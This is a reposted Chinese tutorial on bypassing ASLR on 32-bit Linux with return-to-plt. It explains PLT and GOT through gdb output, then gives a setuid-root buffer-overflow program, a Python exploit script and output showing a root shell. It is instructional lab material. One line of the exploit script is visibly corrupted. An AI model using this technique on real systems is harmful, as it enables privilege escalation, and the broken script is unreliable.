zoukankan      html  css  js  c++  java
  • Linux (x86) Exploit 开发系列教程之六(绕过ASLR

    转:https://bbs.pediy.com/thread-217390.htm

    前提条件:

    经典的基于堆栈的缓冲区溢出

    虚拟机安装:Ubuntu 12.04(x86)

    在以前的帖子中,我们看到了攻击者需要知道下面两样事情

          堆栈地址(跳转到shellcode)

          libc基地址(成功绕过NX bit)

       为了利用漏洞代码。 为了阻止攻击者的行为,安全研究人员提出了一个称为“ASLR”的漏洞利用。

    什么是 ASLR?

    地址空间布局随机化(ASLR)是随机化的利用缓解技术:

           堆栈地址

           堆地址

           共享库地址

    一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过NX bit的方法不会生效,因为攻击者需要知道libc基地址。但这种缓解技术并不完全是万无一失的,因此在这篇文章中我们可以看到如何绕过共享库地址随机化!

    我们已经知道从前一篇文章的exp.py libc函数地址计算如下:

    1
    libc function address = libc base address + function offset

    其中

       因为随机化被关闭,所以libc基址是常量(0xb7e22000 - 对于我们的“vuln”二进制文件)。

       函数偏移也是不变的(从“readelf -s libc.so.6 | grep”获得)

    现在当我们打开完全随机化(使用下面的命令)

    1
    #echo 2 > /proc/sys/kernel/randomize_va_space

    libc基地址将被随机化。

    注意:只有libc基地址是随机的,特定功能的偏移与其基地址始终保持不变!因此,如果我们可以绕过共享库基地址随机化,即使打开ASLR,也可以成功利用易受攻击的程序(使用三种技术)。

           Return-to-plt (这章)

           Brute force (第二部分)

            GOT overwrite and GOT dereference (第三部分)

     什么是return-to-plt?

    在这种技术中,而不是返回到libc函数(其地址是随机的)攻击者返回到一个函数的PLT(其地址不是随机的-其地址在执行之前已知)。由于'function@PLT'不是随机的,所以攻击者不再需要预测libc的基地址,而是可以简单地返回到“function@PLT”来调用“function”。

    什么是PLT,如何通过调用“function@PLT”来调用“函数”?

    要了解过程链接表(PLT),先让我简要介绍一下共享库!

    与静态库不同,共享库代码段在多个进程之间共享,而其数据段对于每个进程是唯一的。这有助于减少内存和磁盘空间。由于代码段在多个进程之间共享,所以应该只有read和execute权限,因此动态链接器不能重新定位代码段中存在的数据符号或函数地址(因为它没有写权限)。那么动态链接如何在运行时重新定位共享库符号而不修改其代码段?它使用PIC完成!

    什么是PIC?

    位置无关代码(PIC)是为了解决这个问题而开发的 - 它确保共享库代码段在多个进程之间共享,尽管在加载时执行重定位。PIC通过一级间接寻址实现这一点-共享库代码段不包含绝对虚拟地址来代替全局符号和函数引用,而是指向数据段中的特定表。该表是全局符号和函数绝对虚拟地址的占位符。动态链接器作为重定位的一部分来填充此表。因此,只有重定位数据段被修改,代码段保持不变!

       动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数,如下所述:

         全局偏移表(GOT):

         全局偏移表包含每个全局变量的4字节条目,其中4字节条目包含全局变量的地址。当代码段中的指令引用全局变量时,而不是全局变量的绝对虚拟地址,指令指向GOT中条目。当加载共享库时,GOT条目由动态链接器重新定位。因此,PIC使用该表来重新定位具有单个间接级别的全局符号。

         过程链接表(PLT): 过程链接表包含每个全局函数的存根代码。代码段中的调用指令不直接调用函数('function'),而是调用存根代码(function @ PLT)。这个存根代码在动态链接器的帮助下解析了函数地址并将其复制到GOT(GOT [n])。这次解析仅在函数('function')的第一次调用期间发生,稍后当代码段中的调用指令调用存根代码(function @PLT)时,而不是调用动态链接器来解析函数地址('function')存根代码直接从GOT(GOT [n])获取功能地址并跳转到它。因此,PIC使用这个表来重新定位具有两级间接的功能地址。

        

    很好,你阅读了关于PIC的内容,并了解了它有助于保持共享库代码段的完整,因此它有助于共享库代码段在许多进程之间真正的共享!但是你有没有想过,为什么当它不共享任何进程时,在可执行文件的代码段需要有一个GOT 条目或PLT存根代码?它的安全保护机制。现在默认情况下,代码段只能被赋予读取和执行权限,没有写入权限(R_X)。这种安全保护机制甚至不允许动态链接器写入代码段,因此它不能重新定位代码段中发现的数据符号或函数地址。因此,为了允许动态链接器重定位,可执行文件也需要GOT 条目和PLT存根代码,就像共享库一样!

    实例:

    1
    2
    3
    4
    5
    6
    7
    //eg.c
    //$gcc -g -o eg eg.c
    #include <stdio.h>
    int main(int argc, char* argv[]) {
     printf("Hello %s ", argv[1]);
     return 0;
    }

    下面的反汇编显示,我们不会直接调用'printf',而是调用相应的PLT代码'printf@PLT'。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    (gdb) disassemble main
    Dump of assembler code for function main:
     0x080483e4 <+0>: push %ebp
     0x080483e5 <+1>: mov %esp,%ebp
     0x080483e7 <+3>: and $0xfffffff0,%esp
     0x080483ea <+6>: sub $0x10,%esp
     0x080483ed <+9>: mov 0xc(%ebp),%eax
     0x080483f0 <+12>: add $0x4,%eax
     0x080483f3 <+15>: mov (%eax),%edx
     0x080483f5 <+17>: mov $0x80484e0,%eax
     0x080483fa <+22>: mov %edx,0x4(%esp)
     0x080483fe <+26>: mov %eax,(%esp)
     0x08048401 <+29>: call 0x8048300 <printf@plt>
     0x08048406 <+34>: mov $0x0,%eax
     0x0804840b <+39>: leave 
     0x0804840c <+40>: ret 
    End of assembler dump.
    (gdb) disassemble 0x8048300
    Dump of assembler code for function printf@plt:
     0x08048300 <+0>: jmp *0x804a000
     0x08048306 <+6>: push $0x0
     0x0804830b <+11>: jmp 0x80482f0
    End of assembler dump.
    (gdb)

    在printf第一次调用之前,其相应的GOT条目(0x804a000)指针将返回到PLT代码(0x8048306)。因此,当第一次调用printf函数时,其对应的函数地址将在动态链接器的帮助下得到解决。

    1
    2
    3
    (gdb) x/1xw 0x804a000
    0x804a000 <printf@got.plt>: 0x08048306
    (gdb)

    现在在printf的调用之后,其相应的GOT条目包含printf函数地址(如下所示):

    1
    2
    3
    (gdb) x/1xw 0x804a000
    0x804a000 <printf@got.plt>: 0xb7e6e850
    (gdb)

    注1:如果你想知道更多的PLT和GOT,请看这个博客的文章!

    注2:在另一篇文章中,我将详细介绍如何在动态链接器的帮助下动态解析libc函数地址。到目前为止,只要记住下面两个语句(printf@PLT的一部分)负责函数地址解析!

    1
    2
    0x08048306 <+6>: push $0x0
     0x0804830b <+11>: jmp 0x80482f0

    现在有了这些知识,我们知道攻击者不需要精确的libc函数地址来调用libc函数,可以使用'function@PLT'地址(在执行之前知道)来简单地调用它。

    漏洞代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #include <stdio.h>
    #include <string.h>
    /* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */
    void shell() {
     system("/bin/sh");
     exit(0);
    }
    int main(int argc, char* argv[]) {
     int i=0;
     char buf[256];
     strcpy(buf,argv[1]);
     printf("%s ",buf);
     return 0;
    }

    编译命令:

    1
    2
    3
    4
    5
    #echo 2 > /proc/sys/kernel/randomize_va_space
    $gcc -g -fno-stack-protector -o vuln vuln.c
    $sudo chown root vuln
    $sudo chgrp root vuln
    $sudo chmod +s vuln

    现在反汇编可执行文件'vuln',我们可以找到‘system@PLT’和 ‘exit@PLT’的地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    (gdb) disassemble shell
    Dump of assembler code for function shell:
     0x08048474 <+0>: push %ebp
     0x08048475 <+1>: mov %esp,%ebp
     0x08048477 <+3>: sub $0x18,%esp
     0x0804847a <+6>: movl $0x80485a0,(%esp)
     0x08048481 <+13>: call 0x8048380 <system@plt>
     0x08048486 <+18>: movl $0x0,(%esp)
     0x0804848d <+25>: call 0x80483a0 <exit@plt>
    End of assembler dump.
    (gdb)

    使用这些地址我们可以写一个绕过ASLR(和NX bit)的漏洞利用代码!

    利用代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    #exp.py
    #!/usr/bin/env python
    import struct
    from subprocess import call
    system = 0x8048380
    exit = 0x80483a0
    system_arg = 0x80485b5     #Obtained from hexdump output of executable 'vuln'
    #endianess convertion
    def conv(num):
     return struct.pack("ystem + exit + system_arg
    buf = "A" * 272
    buf += conv(system)
    buf += conv(exit)
    buf += conv(system_arg)
    print "Calling vulnerable program"
    call(["./vuln", buf])

    执行上面的exploit程序给我们root shell,如下所示:

    1
    2
    3
    4
    5
    6
    7
    $ python exp.py 
    Calling vulnerable program
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������
    # id
    uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
    # exit
    $

    注意:为了获得这个root shell,可执行文件应包含'system@PLT'和'exit@PLT'代码。在第三部分中,我将讨论GOT覆盖和GOT解引用技术,即使在可执行文件中不存在必需的PLT存根代码,并且当ASLR被打开时,也可以帮助攻击者调用libc函数。

  • 相关阅读:
    Linux 下的类似Windows下Everything的搜索工具
    windows和linux环境下制作U盘启动盘
    程序调试手段之gdb, vxworks shell
    LeetCode 1021. Remove Outermost Parentheses (删除最外层的括号)
    LeetCode 1047. Remove All Adjacent Duplicates In String (删除字符串中的所有相邻重复项)
    LeetCode 844. Backspace String Compare (比较含退格的字符串)
    LeetCode 860. Lemonade Change (柠檬水找零)
    LeetCode 1221. Split a String in Balanced Strings (分割平衡字符串)
    LeetCode 1046. Last Stone Weight (最后一块石头的重量 )
    LeetCode 746. Min Cost Climbing Stairs (使用最小花费爬楼梯)
  • 原文地址:https://www.cnblogs.com/studyskill/p/8033670.html
Copyright © 2011-2022 走看看